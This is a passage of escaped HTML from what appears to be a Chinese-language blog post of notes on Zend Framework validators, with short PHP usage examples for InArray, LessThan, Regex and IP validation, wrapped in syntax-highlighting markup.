&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;identical&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;token&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;elementOne&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_InArray&lt;/b&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$validator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Validate_InArray&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;key&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;value&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;otherkey&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;othervalue&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$validator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;isValid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;value&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// value found&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// no value found&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_Int&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Zend_Validate_Ip&lt;/b&gt;&lt;br /&gt;
default ipv4 and ipv6都可()&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #444444; font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ul class=&quot;itemizedlist&quot; style=&quot;list-style-image: initial; list-style-position: outside; list-style-type: disc; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1em; padding-left: 20px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&lt;li class=&quot;listitem&quot; style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;div class=&quot;para&quot; style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&lt;em class=&quot;emphasis&quot;&gt;&lt;span class=&quot;property&quot; style=&quot;font-weight: bold;&quot;&gt;llowipv4&lt;/span&gt;&lt;/em&gt;: Defines if the validator allows IPv4 adresses. This option defaults to&amp;nbsp;&lt;b&gt;&lt;tt&gt;TRUE&lt;/tt&gt;&lt;/b&gt;.&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;listitem&quot; style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;&lt;div class=&quot;para&quot; style=&quot;margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1em; padding-left: 0px; padding-right: 0px; padding-top: 0px;&quot;&gt;
&lt;em class=&quot;emphasis&quot;&gt;&lt;span class=&quot;property&quot; style=&quot;font-weight: bold;&quot;&gt;allowipv6&lt;/span&gt;&lt;/em&gt;: Defines if the validator allows IPv6 adresses. This option defaults to&amp;nbsp;&lt;b&gt;&lt;tt&gt;TRUE&lt;/tt&gt;&lt;/b&gt;.&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_Isbn&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_LessThan&lt;/b&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$valid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Validate_LessThan&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;max&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #008c00;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$value&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #008c00;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$return&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$valid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;isValid&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$value&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns true&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_NotEmpty&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Zend_Validate_PostCode&lt;/b&gt;&lt;br /&gt;
郵遞區號&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Validate_Regex&lt;/b&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$validator&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Validate_Regex&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;pattern&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;Test&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; 